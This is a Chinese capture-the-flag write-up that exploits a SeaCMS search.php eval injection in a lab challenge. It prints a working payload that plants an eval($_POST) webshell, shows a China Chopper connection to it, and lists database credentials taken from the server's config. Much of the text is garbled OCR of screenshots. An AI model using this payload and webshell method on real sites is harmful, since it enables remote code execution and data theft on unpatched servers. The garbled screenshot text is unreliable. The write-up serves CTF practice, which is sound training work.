# i春秋Test



## 点开是个莫名其妙的网站。。。看看源码,

(!DOCTYPE html PUBLIC "-//W3C//DTD XHTWL 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

### 第一排好像有点东西

Copyright © 2011-2012 seacms. 海洋电影管理系统 版权所有本站源码基于海洋CMS(SeaCMS) 页面执行时间: 0.056201秒

#### 最后也有点东西,所以我们直接百度海洋CMS漏洞(https://www.freebuf.com/vuls/150042.html)

#### 海洋CMS (SEACMS) 几个老漏洞及其修补方法

在2017年2月,海洋CMS 6.45版本曾爆出一个前台getshell漏洞,漏洞具体内容参见: http://blog.csdn.net/qq\_35078631/article/details/76595817。该漏洞成因在于search.php没有对用户输入内容进行过滤,导 致攻击者提交的order参数可进入parself函数中执行eval。

官方在6.46版中修复了该漏洞,修复方法是对用户输入的参数进行过滤并限制长度为20个字符。但这种修复方法并没有完全修复 漏洞,因为在替换操作过程中用户输入的几个参数可以进行组合,因此补丁被绕过。

随后官方又在8月7日发布了6.54版本再次修复漏洞,这次修复增加了一句:

\$order = (\$order == "commend" || \$order == "time" || \$order == "hit") ? \$order : "";

即限制了order参数只能是固定内容,这样虽然避免了通过order参数进行的攻击,但是却没有解决其他参数进入parself函数的问题。

#### 所以这里直接在url中试试search.php

提示信息!	
关键字不能为空! 如果你的浏览器没反应,请点击这里…	

告诉我们需要有关键字,原来这里是进行关键字攻击的

构造url后缀: /search.php?searchtype=5&tid=&area=eval(\$\_POST[1])

· 读校asa平台,而更按束	③ 选手训练堂 - 网络安全竞赛网络安	ei 🕀 🕫	HCMS-BARR	× +				3	ĩ	7 -	٥	×
くつら合田	1 a7a3c8acbd9d378a972e4d26.char	game.ichu	nqiu.com/search.php?se	archtype=58ttid=8tare	ea=eval(\$_POST[1]) # 1	在山渡東	Q 🖉	• ± %		· 6		$\equiv$
★ #25 💼 MRR12 🛈 🕏	15.895 9日大学MODC() 〇 C 協力开設) 登録 注対	Rig () 200	I :: Home 🌒 SICNU OJ   Co	er: 😫 Alexandriana	- ○ 不成成現 - 学校子 〇 月 現大統治   成大統治	【小技術編集会社 💭 JSON登載制 夏   同時代約   保育学社   我的現着反	新冠: 🚖 si 史	QLMA2960018	R S	采服用	wb 皆	
	🐟 海洋	19(7: 19(7	1681 1971682 197168	提索 3 107684 107685	AGMINISTER MACHINISTER I	<b>新教师行物</b>						
	m 13   2004   2015.	1944   1845	I OM									- 1
	明亮曲天 副内 副原 社会	和事 銀兵 3		8100								- 8
	最新添加税维		符合条件的视频共 0 条金	8								
	o 每天夜晚	09-13	全部 教词 双乐 苹亭 抽应 件3	「汽车 科技 財益 服市 地方	母醫 生活 明显 音乐 游戏 原创							
	0.野王	09-13	全部大陆香港 台湾日本 朝記	目於美 章国 英怡								ſ
	自 第5KNO.111	09-13	全部 2015 2014 2013 2012	2011 2010 2009 2008 200	07 2006 2005 more							
	6 HUNGRY	09-13	AND READERS TO FOR THE	MNOPQESTOVW3	K 1 Z 0-9							- 1
	15 15(21)(2 <del>5)</del>	09-13	全部新田多村都市少儿北部	X RZ								
	白 是至考虑	09-13	全部充地运动中									- 1
	6 团内能发王	09-13	全部预告片 副场板 陶陶板 拉	洗飯 OVA TV 影視版								
	n 图第3	09-13	全部以供化用									
	0 58P	09-13										
	白 逆转变王	09-13										
	点 這亡者Plan8	09-13										
	6 学习之神	09-13										
	0 X07010400	09-13										
	in Brink E	09-13										
	0 BG	09-13										
	0 彩情術	09-13										
	6 大風-誕生(有功?家光篇)	09-13										
	6 晋庆的庶人	09-13								1.05	-	0
	白 信义	09-13								+ 13	-	99x)

上传成功,然后使用菜刀连接

回编辑SHELL	×
地址: [u. com/search.php?searchtype=5&tid=&area=eval(\$_POST[1])]1 配置:	
备注: 默认类别 ▼ PHP(Eval) ▼ GB2312 ▼ 编辑	

就打开了

/var/www/html/				土 🖌 🏹	Q 星期— 2019-08-05 七月初五
11.13.147.239 目录(20),文件(13)	名称	时间	大小	属性	▲ □ □ 站点类别
9/	🚞 templets	2016-09-13 17:31:28	4096	0555	默认类别 Time1
	addatail	2016-09-13 17:31:28	4096	0555	⑤ 日程提醒
	🚞 js	2016-09-13 17:31:28	4096	0555	快捷方式
templets	i topic	2016-09-13 17:31:28 4096 0555			
detail	🚞 list	2016-09-13 17:31:28	4096	0555	
topic	🚞 news	2016-09-13 17:31:28	4096	0555	
ist 🔁	a install	2016-09-13 17:31:28	4096	0555	
a news	🚞 admin	2016-09-13 17:31:28	4096	0555	
adain	Comment	2016-09-13 17:31:28	4096	0555	
Connent	include	2016-09-13 17:31:28	4096	0555	
include	i pie	2016-09-13 17:31:28	4096	0555	
pio pio	🚞 video	2016-09-13 17:31:28	4096	0555	
i update	🚞 update	2016-09-13 17:31:28	4096	0555	
ata 🚞	🚞 data	2016-09-13 17:31:28	4096	0555	
articlelist	🚞 articlelist	2016-09-13 17:31:28	4096	0555	
i uploads	🚞 uploads	2016-09-13 17:31:28	4096	0555	
topiclist	🛅 360xafe	2016-09-13 17:31:28	4096	0555	
in sur	a topiclist	2016-09-13 17:31:28	4096	0555	
article	🚞 xal	2016-09-13 16:38:30	4096	0555	
	article	2016-09-13 17:31:28	4096	0555	

翻了翻,并没有flag文件。。。可能在数据库里面

在文件中找到数据库配置文件



得到username和password

然后使用连接编辑,输入数据库全称,ip地址,用户名,密码,数据库名字

□编辑SHELL ×	
地址: <u>u. com/search.php?searchtype=5&amp;tid=&amp;area=eval(%_POST[1])</u> ] 配置: (T>MVSQL (H>127.0.0.1(H) (V)sea_user(/U) (P>46e06533407e (N)seacms <td>A) 数据库相关: PHP: <t>类型</t> 类型 <h>主机地址<h> <u>数据库用户</u></h></h></td>	A) 数据库相关: PHP: <t>类型</t> 类型 <h>主机地址<h> <u>数据库用户</u></h></h>
备注: 默认类别 ▼ PHP(Eval) ▼ GB2312 ▼ 编辑	<p>数据库密码<n>默认库</n> 黑</p>
	<l>utf8</l> 这一

然后右键连接点数据库管理就可以进入数据库了

找到flag



转载于:https://www.cnblogs.com/wosun/p/11304895.html